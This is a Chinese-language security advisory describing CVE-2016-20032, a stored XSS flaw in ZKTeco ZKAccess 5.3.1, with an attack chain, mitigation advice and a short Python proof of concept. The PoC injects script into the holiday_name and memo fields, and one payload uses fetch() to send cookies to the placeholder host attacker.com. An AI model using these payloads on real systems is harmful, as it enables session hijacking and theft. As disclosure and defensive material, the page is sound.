IPBUF安全漏洞报告
English
CVE-2016-20032 CVSS 7.2 高危

CVE-2016-20032 ZKTeco ZKAccess Security System 存储型XSS漏洞

披露日期: 2026-03-16

漏洞信息

漏洞编号
CVE-2016-20032
漏洞类型
存储型跨站脚本攻击(Stored XSS)
CVSS评分
7.2 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
ZKTeco ZKAccess Security System

相关标签

存储型XSS跨站脚本ZKTecoZKAccess安全系统CVE-2016-20032会话劫持高危漏洞

漏洞概述

CVE-2016-20032是ZKTeco公司开发的ZKAccess Security System 5.3.1版本中存在的一个高危存储型跨站脚本(XSS)漏洞。该漏洞允许未经认证的攻击者通过在特定POST参数中注入恶意脚本代码,实现对其他用户浏览器会话的劫持和敏感信息窃取。漏洞主要影响系统的假期名称(holiday_name)和备注(memo)字段,攻击者提交的恶意载荷会被永久存储在服务器端,当其他用户访问相关功能页面时,恶意脚本将在受害者浏览器中执行。由于该系统通常用于企业门禁和考勤管理,攻击者可能通过此漏洞获取员工个人信息、修改访问权限设置或进行进一步的内网渗透攻击。此漏洞无需任何用户交互即可被利用,且可通过网络远程触发,具有较高的实际威胁性。

技术细节

该存储型XSS漏洞存在于ZKTeco ZKAccess Security System 5.3.1的Web管理界面中。漏洞根源在于应用程序对用户输入的holiday_name和memo两个POST参数缺乏充分的输入验证和输出编码。攻击者可以构造包含JavaScript代码的恶意请求,例如在holiday_name参数中注入<script>alert(document.cookie)</script>或更复杂的payload。由于系统未对特殊字符进行HTML实体编码就直接存储到数据库,并在后续页面渲染时原样输出到HTTP响应中,导致恶意脚本在用户浏览器中执行。攻击者利用此漏洞可以窃取受害者用户的会话cookie、劫持用户会话、修改系统配置或诱骗用户输入敏感凭据。由于存储型XSS的特性,恶意脚本会持久存在于系统中,每次相关页面被访问时都会触发,形成持续性威胁。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标系统为ZKTeco ZKAccess Security System,确认版本为5.3.1,并定位holiday管理功能的API端点
STEP 2
步骤2: 构造恶意请求
攻击者构造包含XSS payload的POST请求,在holiday_name或memo参数中注入JavaScript代码,如<script>alert(document.cookie)</script>
STEP 3
步骤3: 发送恶意请求
攻击者通过HTTP POST请求将恶意payload提交到服务器,由于系统无认证要求,可直接发送请求
STEP 4
步骤4: 恶意代码存储
服务器未对输入进行过滤,将恶意脚本原样存储到数据库中,实现持久化
STEP 5
步骤5: 触发执行
当管理员或普通用户访问假期管理页面时,服务器从数据库取出恶意数据并嵌入到HTML响应中
STEP 6
步骤6: 会话劫持
受害者浏览器解析HTML时执行恶意脚本,攻击者窃取cookie或进行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # CVE-2016-20032 Stored XSS PoC # Target: ZKTeco ZKAccess Security System 5.3.1 target_url = "http://target.com/zkaccess/holiday/add" # Malicious payload for holiday_name parameter payload = { "holiday_name": "<script>alert(document.cookie)</script>", "memo": "<img src=x onerror=fetch('http://attacker.com/log?c='+document.cookie)>" } # Send malicious POST request (no authentication required) response = requests.post(target_url, data=payload, timeout=10) print(f"Status: {response.status_code}") print("Payload sent successfully. Script will execute when admin visits holiday page.")

影响范围

ZKTeco ZKAccess Security System 5.3.1

防御指南

临时缓解措施
在服务器端对所有用户输入进行严格的输入验证,对输出到HTML的内容进行HTML实体编码(如将<转换为&lt;、>转换为&gt;、"转换为&quot;等)。同时配置Web应用防火墙(WAF)规则检测和拦截恶意XSS payload。临时可禁用假期管理功能或限制该功能的访问权限。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表